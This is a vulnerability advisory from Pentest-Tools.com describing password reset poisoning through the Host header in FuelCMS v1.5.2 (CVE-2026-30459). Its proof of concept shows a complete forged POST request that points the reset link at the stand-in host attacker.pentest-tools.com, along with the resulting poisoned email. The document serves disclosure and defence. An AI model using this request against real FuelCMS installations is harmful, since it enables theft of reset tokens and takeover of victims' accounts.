PTT-2025-029 – Password Reset Poisoning via Host Header

CVE-ID: CVE-2026-30459

Credits:

Matei “Mal” Bădănoiu and Raul Bledea of Pentest-Tools.com

Environment:

- FuelCMS v1.5.2

CVSSv3: 7.1 High- AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

- **Confidentiality** impact: **Low**. The attacker gains access to the current user’s information
- **Integrity** impact: **High**. If the attacker compromises an admin or editor account they can modify or delete any element within the website.
- **User Interaction** is **required**. The victim needs to access his/her mail and click on the link within the mail.

Note: If combined with the RCE vulnerability - **PTT-2025-026 - PHP Code Execution Via Dwoo Escape** - the score increases to:

8.8 High - AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Description:

Due to missing validation on the value of the client-controlled “Host” HTTP Header, an unauthenticated attacker may leverage the “Forgot Password” feature to perform a Password Reset Poisoning attack through which a victim will receive a valid email from the FuelCMS application that, in actuality, when the victim clicks the link, will exfiltrate the password reset token of the user to an attacker controlled server.

This exploit can be used to obtain the Password Reset Token of the user, information which the attacker can then use to reset the victim's password.

Requirements:

In order to perform this exploit an unauthenticated attacker needs to find a valid user email, use the forgot password functionality and wait for the victim to click/access the malicious link in the mail.

No Fix:

The FuelCMS software master branch has seen *no updates* in ~4 years. Although we emailed the vendor, we do not expect them to ever fix this vulnerability..

Proof of Concept:

By modifying the “Host” HTTP header when calling the “Forgot Password” functionality an attacker can modify the link that FuelCMS will include in the password reset email.

In this scenario, the attacker has found the email “aaa@localhost.localdomain”, belonging to a legitimate FuelCMS user, and has modified the “Host” header to point to the malicious HTTP server “attacker.pentest-tools.com”.

Request:

```
POST /index.php/fuel/login/pwd_reset HTTP/1.1
Host: attacker.pentest-tools.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Cookie: ci_session=smdg7g6rm3nhgpn0s5mqqik8cjhbeto4

email=aaa@localhost.localdomain&Submit=Submit&ci_csrf_token_FUEL=2a43869e78abe1362b565209b8e57731
```

By inspecting the resulting mail we can see that the link no longer points to the legitimate FuelCMS IP but to our attacker-controlled destination:

```
Return-Path: <admin@attacker.pentest-tools.com>
Received: by 383bca28d7e6 (Postfix, from userid 33)
          id 1C31944A37D; Thu,  6 Nov 2025 16:28:59 +0100 (CET)
To: aaa@localhost.localdomain
Subject: =?UTF-8?Q?FUEL=20admin=20password=20reset=20request?=
Date: Thu, 6 Nov 2025 07:28:59 -0800
From: "My Website" <admin@attacker.pentest-tools.com>
Reply-To: <admin@attacker.pentest-tools.com>
User-Agent: CodeIgniter
X-Sender: admin@attacker.pentest-tools.com
X-Mailer: CodeIgniter
X-Priority: 3 (Normal)
Message-ID: <690cbebb16fb0@attacker.pentest-tools.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Click the following link to reset your FUEL password:
http://attacker.pentest-tools.com/fuel/login/reset/e677485cb7d74c76ae90cc0b06558d3889cc0ee02229825529083b1054ef5538
```

When the victim clicks on the link, the token will be sent to the attacker server and can be used to change the victim's password to an attacker-controlled value as presented in finding **PTT-2025-025 – Account Takeover via Email Array**.